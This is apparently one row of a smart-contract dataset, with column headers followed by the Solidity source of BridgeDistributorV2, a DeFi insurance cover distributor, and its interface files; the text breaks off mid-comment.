Unnamed: 0
int64
0
60k
address
stringlengths
42
42
source_code
stringlengths
52
864k
bytecode
stringlengths
2
49.2k
slither
stringlengths
47
956
success
bool
1 class
error
float64
results
stringlengths
2
911
input_ids
sequencelengths
128
128
attention_mask
sequencelengths
128
128
59,700
0x9732603d0e01bc3cf02a84b5b3bc229875715a43
// SPDX-License-Identifier: MIT pragma solidity ^0.7.4; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/v2/IPolicyRegistryV2.sol"; import "./interfaces/v2/IPolicyBookRegistryV2.sol"; import "./interfaces/v2/IContractsRegistryV2.sol"; import "./interfaces/v2/IPolicyBookFabricV2.sol"; import "./interfaces/v2/IPolicyBookV2.sol"; import "./interfaces/v2/IPolicyQuoteV2.sol"; import "./interfaces/v2/IClaimingRegistryV2.sol"; import "../../IDistributor.sol"; import "../AbstractDistributor.sol"; contract BridgeDistributorV2 is AbstractDistributor, IDistributor, Initializable, OwnableUpgradeable, ReentrancyGuardUpgradeable { using SafeMath for uint256; using SafeERC20Upgradeable for IERC20Upgradeable; IPolicyRegistryV2 public policyRegistry; IPolicyBookRegistryV2 public policyBookRegistry; IContractsRegistryV2 public contractsRegistry; IClaimingRegistryV2 public claimRegistry; IPolicyQuoteV2 public policyQuote; struct PolicyInfo { uint256 policiesCount; address[] polBooksArr; IPolicyRegistryV2.PolicyInfo[] policiesInfo; IClaimingRegistryV2.ClaimStatus[] status; } function __BridgeDistributor_init(address _contractsRegistry) public initializer { __Ownable_init(); __ReentrancyGuard_init(); contractsRegistry = IContractsRegistryV2(_contractsRegistry); policyRegistry = IPolicyRegistryV2( contractsRegistry.getPolicyRegistryContract() ); policyBookRegistry = IPolicyBookRegistryV2( contractsRegistry.getPolicyBookRegistryContract() ); claimRegistry = IClaimingRegistryV2( contractsRegistry.getClaimingRegistryContract() ); policyQuote = IPolicyQuoteV2( contractsRegistry.getPolicyQuoteContract() ); } function getCoverCount(address _userAddr, bool _isActive) external view override returns (uint256) { uint256 _ownersCoverCount = policyRegistry.getPoliciesLength(_userAddr); PolicyInfo memory pol; ( pol.policiesCount, pol.polBooksArr, pol.policiesInfo, pol.status ) = policyRegistry.getPoliciesInfo( _userAddr, _isActive, 0, _ownersCoverCount ); return pol.policiesCount; } function getCover( address _userAddr, uint256 _coverId, bool _isActive, uint256 _limitLoop ) external view override returns (IDistributor.Cover memory) { uint256 _ownersCoverCount = policyRegistry.getPoliciesLength(_userAddr); PolicyInfo memory pol; ( pol.policiesCount, pol.polBooksArr, pol.policiesInfo, pol.status ) = policyRegistry.getPoliciesInfo( _userAddr, _isActive, 0, _ownersCoverCount ); require( _coverId < pol.policiesCount, "BridgeDistributor: Invalid coverId" ); uint256 limit = 0; if (pol.policiesCount > _limitLoop) { limit = _limitLoop; } else { limit = pol.policiesCount; } IDistributor.Cover[] memory userCovers = new IDistributor.Cover[]( limit ); for (uint256 coverId = 0; coverId < limit; coverId++) { IDistributor.Cover memory cover; cover.contractAddress = pol.polBooksArr[coverId]; cover.coverAmount = pol.policiesInfo[coverId].coverAmount; cover.premium = pol.policiesInfo[coverId].premium; cover.productId = pol.policiesInfo[coverId].startTime; cover.expiration = pol.policiesInfo[coverId].endTime; cover.status = uint256(pol.status[coverId]); userCovers[coverId] = cover; } return userCovers[_coverId]; } function getPoliciesArr(address _userAddr) external view returns (address[] memory _arr) { return policyRegistry.getPoliciesArr(_userAddr); } function getQuote( uint256 _bridgeEpochs, uint256 _amountInWei, address _bridgeProductAddress, address _buyerAddress, address _interfaceCompliant2, bytes calldata _interfaceCompliant3 ) external view override returns (IDistributor.CoverQuote memory) { bool isPolicyBook = policyBookRegistry.isPolicyBook( _bridgeProductAddress ); require(isPolicyBook == true, "BridgeDistributor: Not a policyBook"); IPolicyBookV2 policyBook = IPolicyBookV2(_bridgeProductAddress); IDistributor.CoverQuote memory coverQuote; ( coverQuote.prop1, // totalSeconds, totalPrice coverQuote.prop2, coverQuote.prop3 ) = policyBook.getPolicyPrice( _bridgeEpochs, _amountInWei, _buyerAddress ); coverQuote.prop4 = policyBook.totalLiquidity(); coverQuote.prop5 = policyBook.totalCoverTokens(); //coverQuote.prop5 = policyQuote.getQuote(coverQuote.prop1,coverQuote.prop2, policyBook); //get price in DAI? address[] memory policyBookArr = new address[](1); policyBookArr[0] = _bridgeProductAddress; //(IPolicyBookRegistry.PolicyBookStats[] memory _stats) = policyBookRegistry.stats(policyBookArr); //coverQuote.prop6 = _stats[0].maxCapacity; return coverQuote; } function buyCover( address _bridgeProductAddress, uint256 _epochsNumber, uint256 _sumAssured, address _buyerAddress, address _treasuryAddress, uint256 _premium ) external payable nonReentrant { // get payable contract address IPolicyBookV2 policyBook = IPolicyBookV2(_bridgeProductAddress); IPolicyBookFacadeV2 policyBookFacade = policyBook.policyBookFacade(); address stblToken = contractsRegistry.getUSDTContract(); // Check previous allowance require( IERC20Upgradeable(stblToken).allowance(msg.sender, address(this)) >= _premium, "BridgeDistributor: Need funds approval" ); // transfer erc20 funds to this contract IERC20Upgradeable(stblToken).safeTransferFrom( msg.sender, address(this), _premium ); if ( IERC20Upgradeable(stblToken).allowance( address(this), address(policyBook) ) == uint256(0) ) { //safe as this contract has no funds stored & will be called once only IERC20Upgradeable(stblToken).approve(address(policyBook), MAX_INT); } // buy policyBookFacadeh policyBookFacade.buyPolicyFromDistributorFor( _buyerAddress, _epochsNumber, _sumAssured, _treasuryAddress ); } function listWithStats(uint8 _offset, uint256 _limitLoop) external view returns (PolicyCatalog[] memory) { uint256 count = policyBookRegistry.count(); uint256 limit = 0; if (count > _limitLoop) { limit = _limitLoop; } else { limit = count; } ( address[] memory _policyBooks, IPolicyBookRegistryV2.PolicyBookStats[] memory _stats ) = policyBookRegistry.listWithStats(_offset, count); PolicyCatalog[] memory catalogList; PolicyCatalog memory catalog; for (uint8 i = 0; i < limit; i++) { catalog.name = _stats[i].symbol; catalog.insuredContract = _stats[i].insuredContract; catalog.maxCapacity = _stats[i].maxCapacity; catalog.totalDaiLiquidity = _stats[i].totalSTBLLiquidity; catalog.APY = _stats[i].APY; catalog.whitelisted = _stats[i].whitelisted; catalog.policyAddress = _policyBooks[i]; catalogList[i] = catalog; } return catalogList; } struct PolicyCatalog { string name; address insuredContract; IPolicyBookFabricV2.ContractType contractType; uint256 maxCapacity; uint256 totalDaiLiquidity; uint256 APY; bool whitelisted; address policyAddress; } function list(uint256 _offset) external view returns (address[] memory _policyBooks) { uint256 limit = policyBookRegistry.count(); return policyBookRegistry.list(_offset, limit); } function stats() public view returns (address[] memory) { address[] memory _policyBooks = this.list(0); policyBookRegistry.stats(_policyBooks); return _policyBooks; } function supportsInterface(bytes4 interfaceId) public view override returns (bool) { return interfaceId == type(IDistributor).interfaceId; } function addressCero() external view returns (address) { return address(0); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.7.4; pragma experimental ABIEncoderV2; import "./IPolicyBookFabricV2.sol"; import "./IClaimingRegistryV2.sol"; interface IPolicyRegistryV2 { struct PolicyInfo { uint256 coverAmount; uint256 premium; uint256 startTime; uint256 endTime; } struct PolicyUserInfo { string symbol; address insuredContract; IPolicyBookFabricV2.ContractType contractType; uint256 coverTokens; uint256 startTime; uint256 endTime; uint256 paid; } function STILL_CLAIMABLE_FOR() external view returns (uint256); /// @notice Returns the number of the policy for the user, access: ANY /// @param _userAddr Policy holder address /// @return the number of police in the array function getPoliciesLength(address _userAddr) external view returns (uint256); /// @notice Shows whether the user has a policy, access: ANY /// @param _userAddr Policy holder address /// @param _policyBookAddr Address of policy book /// @return true if user has policy in specific policy book function policyExists(address _userAddr, address _policyBookAddr) external view returns (bool); /// @notice Returns information about current policy, access: ANY /// @param _userAddr Policy holder address /// @param _policyBookAddr Address of policy book /// @return true if user has active policy in specific policy book function isPolicyActive(address _userAddr, address _policyBookAddr) external view returns (bool); /// @notice returns current policy start time or zero function policyStartTime(address _userAddr, address _policyBookAddr) external view returns (uint256); /// @notice returns current policy end time or zero function policyEndTime(address _userAddr, address _policyBookAddr) external view returns (uint256); /// @notice Returns the array of the policy itself , access: ANY /// @param _userAddr Policy holder address /// @param _isActive If true, then returns an array with information about active policies, if false, about inactive /// @return _policiesCount is the number of police in the array /// @return _policyBooksArr is the array of policy books addresses /// @return _policies is the array of policies /// @return _policyStatuses parameter will show which button to display on the dashboard function getPoliciesInfo( address _userAddr, bool _isActive, uint256 _offset, uint256 _limit ) external view returns ( uint256 _policiesCount, address[] memory _policyBooksArr, PolicyInfo[] memory _policies, IClaimingRegistryV2.ClaimStatus[] memory _policyStatuses ); /// @notice Getting stats from users of policy books, access: ANY function getUsersInfo( address[] calldata _users, address[] calldata _policyBooks ) external view returns (PolicyUserInfo[] memory _stats); function getPoliciesArr(address _userAddr) external view returns (address[] memory _arr); /// @notice Adds a new policy to the list , access: ONLY POLICY BOOKS /// @param _userAddr is the user's address /// @param _coverAmount is the number of insured tokens /// @param _premium is the name of PolicyBook /// @param _durationDays is the number of days for which the insured function addPolicy( address _userAddr, uint256 _coverAmount, uint256 _premium, uint256 _durationDays ) external; /// @notice Removes the policy book from the list, access: ONLY POLICY BOOKS /// @param _userAddr is the user's address function removePolicy(address _userAddr) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.4; interface IPolicyQuoteV2 { /// @notice Let user to calculate policy cost in DAI, access: ANY function getQuoteEpochs( uint256 _epochsNumber, uint256 _tokens, address _policyBookAddr ) external view returns (uint256); /// @notice Let user to calculate policy cost in DAI, access: ANY /// @param _durationSeconds is number of seconds to cover /// @param _tokens is number of tokens to cover /// @param _policyBookAddr is address of policy book /// @return _daiTokens is amount of DAI policy costs function getQuote( uint256 _durationSeconds, uint256 _tokens, address _policyBookAddr ) external view returns (uint256 _daiTokens); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.4; pragma experimental ABIEncoderV2; import "./IPolicyBookFabricV2.sol"; import "./IClaimingRegistryV2.sol"; import "./IPolicyBookFacadeV2.sol"; interface IPolicyBookV2 { enum WithdrawalStatus { NONE, PENDING, READY, EXPIRED } struct PolicyHolder { uint256 coverTokens; uint256 startEpochNumber; uint256 endEpochNumber; uint256 paid; uint256 reinsurancePrice; } struct WithdrawalInfo { uint256 withdrawalAmount; uint256 readyToWithdrawDate; bool withdrawalAllowed; } struct BuyPolicyParameters { address buyer; address holder; uint256 epochsNumber; uint256 coverTokens; uint256 distributorFee; address distributor; } function policyHolders(address _holder) external view returns ( uint256, uint256, uint256, uint256, uint256 ); function policyBookFacade() external view returns (IPolicyBookFacadeV2); function setPolicyBookFacade(address _policyBookFacade) external; function EPOCH_DURATION() external view returns (uint256); function stblDecimals() external view returns (uint256); function READY_TO_WITHDRAW_PERIOD() external view returns (uint256); function whitelisted() external view returns (bool); function epochStartTime() external view returns (uint256); // @TODO: should we let DAO to change contract address? /// @notice Returns address of contract this PolicyBook covers, access: ANY /// @return _contract is address of covered contract function insuranceContractAddress() external view returns (address _contract); /// @notice Returns type of contract this PolicyBook covers, access: ANY /// @return _type is type of contract function contractType() external view returns (IPolicyBookFabricV2.ContractType _type); function totalLiquidity() external view returns (uint256); function totalCoverTokens() external view returns (uint256); // /// @notice return MPL for user leverage pool // function userleveragedMPL() external view returns (uint256); // /// @notice return MPL for reinsurance pool // function reinsurancePoolMPL() external view returns (uint256); // function bmiRewardMultiplier() external view returns (uint256); function withdrawalsInfo(address _userAddr) external view returns ( uint256 _withdrawalAmount, uint256 _readyToWithdrawDate, bool _withdrawalAllowed ); function __PolicyBook_init( address _insuranceContract, IPolicyBookFabricV2.ContractType _contractType, string calldata _description, string calldata _projectSymbol ) external; function whitelist(bool _whitelisted) external; function getEpoch(uint256 time) external view returns (uint256); /// @notice get STBL equivalent function convertBMIXToSTBL(uint256 _amount) external view returns (uint256); /// @notice get BMIX equivalent function convertSTBLToBMIX(uint256 _amount) external view returns (uint256); /// @notice submits new claim of the policy book function submitClaimAndInitializeVoting(string calldata evidenceURI) external; /// @notice submits new appeal claim of the policy book function submitAppealAndInitializeVoting(string calldata evidenceURI) external; /// @notice updates info on claim acceptance function commitClaim( address claimer, uint256 claimAmount, uint256 claimEndTime, IClaimingRegistryV2.ClaimStatus status ) external; /// @notice forces an update of RewardsGenerator multiplier function forceUpdateBMICoverStakingRewardMultiplier() external; /// @notice function to get precise current cover and liquidity function getNewCoverAndLiquidity() external view returns (uint256 newTotalCoverTokens, uint256 newTotalLiquidity); /// @notice view function to get precise policy price /// @param _epochsNumber is number of epochs to cover /// @param _coverTokens is number of tokens to cover /// @param _buyer address of the user who buy the policy /// @return totalSeconds is number of seconds to cover /// @return totalPrice is the policy price which will pay by the buyer function getPolicyPrice( uint256 _epochsNumber, uint256 _coverTokens, address _buyer ) external view returns ( uint256 totalSeconds, uint256 totalPrice, uint256 pricePercentage ); /// @notice Let user to buy policy by supplying stable coin, access: ANY /// @param _buyer who is transferring funds /// @param _holder who owns coverage /// @param _epochsNumber period policy will cover /// @param _coverTokens amount paid for the coverage /// @param _distributorFee distributor fee (commission). It can't be greater than PROTOCOL_PERCENTAGE /// @param _distributor if it was sold buy a whitelisted distributor, it is distributor address to receive fee (commission) function buyPolicy( address _buyer, address _holder, uint256 _epochsNumber, uint256 _coverTokens, uint256 _distributorFee, address _distributor ) external returns (uint256, uint256); function updateEpochsInfo() external; function secondsToEndCurrentEpoch() external view returns (uint256); /// @notice Let eligible contracts add liqiudity for another user by supplying stable coin /// @param _liquidityHolderAddr is address of address to assign cover /// @param _liqudityAmount is amount of stable coin tokens to secure function addLiquidityFor( address _liquidityHolderAddr, uint256 _liqudityAmount ) external; /// @notice Let user to add liquidity by supplying stable coin, access: ANY /// @param _liquidityBuyerAddr address the one that transfer funds /// @param _liquidityHolderAddr address the one that owns liquidity /// @param _liquidityAmount uint256 amount to be added on behalf the sender /// @param _stakeSTBLAmount uint256 the staked amount if add liq and stake function addLiquidity( address _liquidityBuyerAddr, address _liquidityHolderAddr, uint256 _liquidityAmount, uint256 _stakeSTBLAmount ) external returns (uint256); function getAvailableBMIXWithdrawableAmount(address _userAddr) external view returns (uint256); function getWithdrawalStatus(address _userAddr) external view returns (WithdrawalStatus); function requestWithdrawal(uint256 _tokensToWithdraw, address _user) external; // function requestWithdrawalWithPermit( // uint256 _tokensToWithdraw, // uint8 _v, // bytes32 _r, // bytes32 _s // ) external; function unlockTokens() external; /// @notice Let user to withdraw deposited liqiudity, access: ANY function withdrawLiquidity(address sender) external returns (uint256); ///@notice for doing defi hard rebalancing, access: policyBookFacade function updateLiquidity(uint256 _newLiquidity) external; function getAPY() external view returns (uint256); /// @notice Getting user stats, access: ANY function userStats(address _user) external view returns (PolicyHolder memory); /// @notice Getting number stats, access: ANY /// @return _maxCapacities is a max token amount that a user can buy /// @return _totalSTBLLiquidity is PolicyBook's liquidity /// @return _totalLeveragedLiquidity is PolicyBook's leveraged liquidity /// @return _stakedSTBL is how much stable coin are staked on this PolicyBook /// @return _annualProfitYields is its APY /// @return _annualInsuranceCost is percentage of cover tokens that is required to be paid for 1 year of insurance function numberStats() external view returns ( uint256 _maxCapacities, uint256 _totalSTBLLiquidity, uint256 _totalLeveragedLiquidity, uint256 _stakedSTBL, uint256 _annualProfitYields, uint256 _annualInsuranceCost, uint256 _bmiXRatio ); /// @notice Getting info, access: ANY /// @return _symbol is the symbol of PolicyBook (bmiXCover) /// @return _insuredContract is an addres of insured contract /// @return _contractType is a type of insured contract /// @return _whitelisted is a state of whitelisting function info() external view returns ( string memory _symbol, address _insuredContract, IPolicyBookFabricV2.ContractType _contractType, bool _whitelisted ); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.4; pragma experimental ABIEncoderV2; import "./IPolicyBookFabricV2.sol"; interface IPolicyBookRegistryV2 { struct PolicyBookStats { string symbol; address insuredContract; IPolicyBookFabricV2.ContractType contractType; uint256 maxCapacity; uint256 totalSTBLLiquidity; uint256 totalLeveragedLiquidity; uint256 stakedSTBL; uint256 APY; uint256 annualInsuranceCost; uint256 bmiXRatio; bool whitelisted; } function policyBooksByInsuredAddress(address insuredContract) external view returns (address); function policyBookFacades(address facadeAddress) external view returns (address); /// @notice Adds PolicyBook to registry, access: PolicyFabric function add( address insuredContract, IPolicyBookFabricV2.ContractType contractType, address policyBook, address facadeAddress ) external; function whitelist(address policyBookAddress, bool whitelisted) external; /// @notice returns required allowances for the policybooks function getPoliciesPrices( address[] calldata policyBooks, uint256[] calldata epochsNumbers, uint256[] calldata coversTokens ) external view returns (uint256[] memory _durations, uint256[] memory _allowances); /// @notice Buys a batch of policies function buyPolicyBatch( address[] calldata policyBooks, uint256[] calldata epochsNumbers, uint256[] calldata coversTokens ) external; /// @notice Checks if provided address is a PolicyBook function isPolicyBook(address policyBook) external view returns (bool); /// @notice Checks if provided address is a policyBookFacade function isPolicyBookFacade(address _facadeAddress) external view returns (bool); /// @notice Checks if provided address is a user leverage pool function isUserLeveragePool(address policyBookAddress) external view returns (bool); /// @notice Returns number of registered PolicyBooks with certain contract type function countByType(IPolicyBookFabricV2.ContractType contractType) external view returns (uint256); /// @notice Returns number of registered PolicyBooks, access: ANY function count() external view returns (uint256); function countByTypeWhitelisted( IPolicyBookFabricV2.ContractType contractType ) external view returns (uint256); function countWhitelisted() external view returns (uint256); /// @notice Listing registered PolicyBooks with certain contract type, access: ANY /// @return _policyBooksArr is array of registered PolicyBook addresses with certain contract type function listByType( IPolicyBookFabricV2.ContractType contractType, uint256 offset, uint256 limit ) external view returns (address[] memory _policyBooksArr); /// @notice Listing registered PolicyBooks, access: ANY /// @return _policyBooksArr is array of registered PolicyBook addresses function list(uint256 offset, uint256 limit) external view returns (address[] memory _policyBooksArr); function listByTypeWhitelisted( IPolicyBookFabricV2.ContractType contractType, uint256 offset, uint256 limit ) external view returns (address[] memory _policyBooksArr); function listWhitelisted(uint256 offset, uint256 limit) external view returns (address[] memory _policyBooksArr); /// @notice Listing registered PolicyBooks with stats and certain contract type, access: ANY function listWithStatsByType( IPolicyBookFabricV2.ContractType contractType, uint256 offset, uint256 limit ) external view returns ( address[] memory _policyBooksArr, PolicyBookStats[] memory _stats ); /// @notice Listing registered PolicyBooks with stats, access: ANY function listWithStats(uint256 offset, uint256 limit) external view returns ( address[] memory _policyBooksArr, PolicyBookStats[] memory _stats ); function listWithStatsByTypeWhitelisted( IPolicyBookFabricV2.ContractType contractType, uint256 offset, uint256 limit ) external view returns ( address[] memory _policyBooksArr, PolicyBookStats[] memory _stats ); function listWithStatsWhitelisted(uint256 offset, uint256 limit) external view returns ( address[] memory _policyBooksArr, PolicyBookStats[] memory _stats ); /// @notice Getting stats from policy books, access: ANY /// @param policyBooks is list of PolicyBooks addresses function stats(address[] calldata policyBooks) external view returns (PolicyBookStats[] memory _stats); /// @notice Return existing Policy Book contract, access: ANY /// @param insuredContract is contract address to lookup for created IPolicyBook function policyBookFor(address insuredContract) external view returns (address); /// @notice Getting stats from policy books, access: ANY /// @param insuredContracts is list of insuredContracts in registry function statsByInsuredContracts(address[] calldata insuredContracts) external view returns (PolicyBookStats[] memory _stats); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.4; import "./IPolicyBookV2.sol"; import "./ILeveragePortfolioV2.sol"; interface IPolicyBookFacadeV2 { /// @notice Let user to buy policy by supplying stable coin, access: ANY /// @param _epochsNumber period policy will cover /// @param _coverTokens amount paid for the coverage function buyPolicy(uint256 _epochsNumber, uint256 _coverTokens) external; /// @param _holder who owns coverage /// @param _epochsNumber period policy will cover /// @param _coverTokens amount paid for the coverage function buyPolicyFor( address _holder, uint256 _epochsNumber, uint256 _coverTokens ) external; function policyBook() external view returns (IPolicyBookV2); function userLiquidity(address account) external view returns (uint256); /// @notice virtual funds deployed by reinsurance pool function VUreinsurnacePool() external view returns (uint256); /// @notice leverage funds deployed by reinsurance pool function LUreinsurnacePool() external view returns (uint256); /// @notice leverage funds deployed by user leverage pool function LUuserLeveragePool(address userLeveragePool) external view returns (uint256); /// @notice total leverage funds deployed to the pool sum of (VUreinsurnacePool,LUreinsurnacePool,LUuserLeveragePool) function totalLeveragedLiquidity() external view returns (uint256); function userleveragedMPL() external view returns (uint256); function reinsurancePoolMPL() external view returns (uint256); function rebalancingThreshold() external view returns (uint256); function safePricingModel() external view returns (bool); /// @notice policyBookFacade initializer /// @param pbProxy polciybook address upgreadable cotnract. function __PolicyBookFacade_init( address pbProxy, address liquidityProvider, uint256 initialDeposit ) external; /// @param _epochsNumber period policy will cover /// @param _coverTokens amount paid for the coverage /// @param _distributor if it was sold buy a whitelisted distributor, it is distributor address to receive fee (commission) function buyPolicyFromDistributor( uint256 _epochsNumber, uint256 _coverTokens, address _distributor ) external; /// @param _buyer who is buying the coverage /// @param _epochsNumber period policy will cover /// @param _coverTokens amount paid for the coverage /// @param _distributor if it was sold buy a whitelisted distributor, it is distributor address to receive fee (commission) function buyPolicyFromDistributorFor( address _buyer, uint256 _epochsNumber, uint256 _coverTokens, address _distributor ) external; /// @notice Let user to add liquidity by supplying stable coin, access: ANY /// @param _liquidityAmount is amount of stable coin tokens to secure function addLiquidity(uint256 _liquidityAmount) external; /// @notice Let user to add liquidity by supplying stable coin, access: ANY /// @param _user the one taht add liquidity /// @param _liquidityAmount is amount of stable coin tokens to secure function addLiquidityFromDistributorFor( address _user, uint256 _liquidityAmount ) external; function addLiquidityAndStakeFor( address _liquidityHolderAddr, uint256 _liquidityAmount, uint256 _stakeSTBLAmount ) external; /// @notice Let user to add liquidity by supplying stable coin and stake it, /// @dev access: ANY function addLiquidityAndStake( uint256 _liquidityAmount, uint256 _stakeSTBLAmount ) external; /// @notice Let user to withdraw deposited liqiudity, access: ANY function withdrawLiquidity() external; /// @notice fetches all the pools data /// @return uint256 VUreinsurnacePool /// @return uint256 LUreinsurnacePool /// @return uint256 LUleveragePool /// @return uint256 user leverage pool address function getPoolsData() external view returns ( uint256, uint256, uint256, address ); /// @notice deploy leverage funds (RP lStable, ULP lStable) /// @param deployedAmount uint256 the deployed amount to be added or substracted from the total liquidity /// @param leveragePool whether user leverage or reinsurance leverage function deployLeverageFundsAfterRebalance( uint256 deployedAmount, ILeveragePortfolioV2.LeveragePortfolio leveragePool ) external; /// @notice deploy virtual funds (RP vStable) /// @param deployedAmount uint256 the deployed amount to be added to the liquidity function deployVirtualFundsAfterRebalance(uint256 deployedAmount) external; ///@dev in case ur changed of the pools by commit a claim or policy expired function reevaluateProvidedLeverageStable() external; /// @notice set the MPL for the user leverage and the reinsurance leverage /// @param _userLeverageMPL uint256 value of the user leverage MPL /// @param _reinsuranceLeverageMPL uint256 value of the reinsurance leverage MPL function setMPLs(uint256 _userLeverageMPL, uint256 _reinsuranceLeverageMPL) external; /// @notice sets the rebalancing threshold value /// @param _newRebalancingThreshold uint256 rebalancing threshhold value function setRebalancingThreshold(uint256 _newRebalancingThreshold) external; /// @notice sets the rebalancing threshold value /// @param _safePricingModel bool is pricing model safe (true) or not (false) function setSafePricingModel(bool _safePricingModel) external; /// @notice returns how many BMI tokens needs to approve in order to submit a claim function getClaimApprovalAmount(address user) external view returns (uint256); /// @notice upserts a withdraw request /// @dev prevents adding a request if an already pending or ready request is open. /// @param _tokensToWithdraw uint256 amount of tokens to withdraw function requestWithdrawal(uint256 _tokensToWithdraw) external; function listUserLeveragePools(uint256 offset, uint256 limit) external view returns (address[] memory _userLeveragePools); function countUserLeveragePools() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.4; interface IPolicyBookFabricV2 { enum ContractType { CONTRACT, STABLECOIN, SERVICE, EXCHANGE, VARIOUS } /// @notice Create new Policy Book contract, access: ANY /// @param _contract is Contract to create policy book for /// @param _contractType is Contract to create policy book for /// @param _description is bmiXCover token desription for this policy book /// @param _projectSymbol replaces x in bmiXCover token symbol /// @param _initialDeposit is an amount user deposits on creation (addLiquidity()) /// @return _policyBook is address of created contract function create( address _contract, ContractType _contractType, string calldata _description, string calldata _projectSymbol, uint256 _initialDeposit, address _shieldMiningToken ) external returns (address); function createLeveragePools( ContractType _contractType, string calldata _description, string calldata _projectSymbol ) external returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.4; interface ILeveragePortfolioV2 { enum LeveragePortfolio { USERLEVERAGEPOOL, REINSURANCEPOOL } struct LevFundsFactors { uint256 netMPL; uint256 netMPLn; address policyBookAddr; } function targetUR() external view returns (uint256); function d_ProtocolConstant() external view returns (uint256); function a_ProtocolConstant() external view returns (uint256); function max_ProtocolConstant() external view returns (uint256); /// @notice deploy lStable from user leverage pool or reinsurance pool using 2 formulas: access by policybook. /// @param leveragePoolType LeveragePortfolio is determine the pool which call the function function deployLeverageStableToCoveragePools( LeveragePortfolio leveragePoolType ) external returns (uint256); /// @notice deploy the vStable from RP in v2 and for next versions it will be from RP and LP : access by policybook. function deployVirtualStableToCoveragePools() external returns (uint256); /// @notice set the threshold % for re-evaluation of the lStable provided across all Coverage pools : access by owner /// @param threshold uint256 is the reevaluatation threshold function setRebalancingThreshold(uint256 threshold) external; /// @notice set the protocol constant : access by owner /// @param _targetUR uint256 target utitlization ration /// @param _d_ProtocolConstant uint256 D protocol constant /// @param _a1_ProtocolConstant uint256 A1 protocol constant /// @param _max_ProtocolConstant uint256 the max % included function setProtocolConstant( uint256 _targetUR, uint256 _d_ProtocolConstant, uint256 _a1_ProtocolConstant, uint256 _max_ProtocolConstant ) external; /// @notice calc M factor by formual M = min( abs((1/ (Tur-UR))*d) /a, max) /// @param poolUR uint256 utitilization ratio for a coverage pool /// @return uint256 M facotr //function calcM(uint256 poolUR) external returns (uint256); /// @return uint256 the amount of vStable stored in the pool function totalLiquidity() external view returns (uint256); /// @notice add the portion of 80% of premium to user leverage pool where the leverage provide lstable : access policybook /// add the 20% of premium + portion of 80% of premium where reisnurance pool participate in coverage pools (vStable) : access policybook /// @param epochsNumber uint256 the number of epochs which the policy holder will pay a premium for /// @param premiumAmount uint256 the premium amount which is a portion of 80% of the premium function addPolicyPremium(uint256 epochsNumber, uint256 premiumAmount) external; /// @notice Used to get a list of coverage pools which get leveraged , use with count() /// @return _coveragePools a list containing policybook addresses function listleveragedCoveragePools(uint256 offset, uint256 limit) external view returns (address[] memory _coveragePools); /// @notice get count of coverage pools which get leveraged function countleveragedCoveragePools() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.4; pragma experimental ABIEncoderV2; interface IContractsRegistryV2 { function getUniswapRouterContract() external view returns (address); function getUniswapBMIToETHPairContract() external view returns (address); function getUniswapBMIToUSDTPairContract() external view returns (address); function getSushiswapRouterContract() external view returns (address); function getSushiswapBMIToETHPairContract() external view returns (address); function getSushiswapBMIToUSDTPairContract() external view returns (address); function getSushiSwapMasterChefV2Contract() external view returns (address); function getWETHContract() external view returns (address); function getUSDTContract() external view returns (address); function getBMIContract() external view returns (address); function getPriceFeedContract() external view returns (address); function getPolicyBookRegistryContract() external view returns (address); function getPolicyBookFabricContract() external view returns (address); function getBMICoverStakingContract() external view returns (address); function getBMICoverStakingViewContract() external view returns (address); function getLegacyRewardsGeneratorContract() external view returns (address); function getRewardsGeneratorContract() external view returns (address); function getBMIUtilityNFTContract() external view returns (address); function getNFTStakingContract() external view returns (address); function getLiquidityMiningContract() external view returns (address); function getClaimingRegistryContract() external view returns (address); function getPolicyRegistryContract() external view returns (address); function getLiquidityRegistryContract() external view returns (address); function getClaimVotingContract() external view returns (address); function getReinsurancePoolContract() external view returns (address); function getLeveragePortfolioViewContract() external view returns (address); function getCapitalPoolContract() external view returns (address); function getPolicyBookAdminContract() external view returns (address); function getPolicyQuoteContract() external view returns (address); function getLegacyBMIStakingContract() external view returns (address); function getBMIStakingContract() external view returns (address); function getSTKBMIContract() external view returns (address); function getVBMIContract() external view returns (address); function getLegacyLiquidityMiningStakingContract() external view returns (address); function getLiquidityMiningStakingETHContract() external view returns (address); function getLiquidityMiningStakingUSDTContract() external view returns (address); function getReputationSystemContract() external view returns (address); function getAaveProtocolContract() external view returns (address); function getAaveLendPoolAddressProvdierContract() external view returns (address); function getAaveATokenContract() external view returns (address); function getCompoundProtocolContract() external view returns (address); function getCompoundCTokenContract() external view returns (address); function getCompoundComptrollerContract() external view returns (address); function getYearnProtocolContract() external view returns (address); function getYearnVaultContract() external view returns (address); function getYieldGeneratorContract() external view returns (address); function getShieldMiningContract() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.4; pragma experimental ABIEncoderV2; interface IClaimingRegistryV2 { enum ClaimStatus { CAN_CLAIM, UNCLAIMABLE, PENDING, AWAITING_CALCULATION, REJECTED_CAN_APPEAL, REJECTED, ACCEPTED } struct ClaimInfo { address claimer; address policyBookAddress; string evidenceURI; uint256 dateSubmitted; uint256 dateEnded; bool appeal; ClaimStatus status; uint256 claimAmount; } /// @notice returns anonymous voting duration function anonymousVotingDuration(uint256 index) external view returns (uint256); /// @notice returns the whole voting duration function votingDuration(uint256 index) external view returns (uint256); /// @notice returns how many time should pass before anyone could calculate a claim result function anyoneCanCalculateClaimResultAfter(uint256 index) external view returns (uint256); /// @notice returns true if a user can buy new policy of specified PolicyBook function canBuyNewPolicy(address buyer, address policyBookAddress) external view returns (bool); /// @notice submits new PolicyBook claim for the user function submitClaim( address user, address policyBookAddress, string calldata evidenceURI, uint256 cover, bool appeal ) external returns (uint256); /// @notice returns true if the claim with 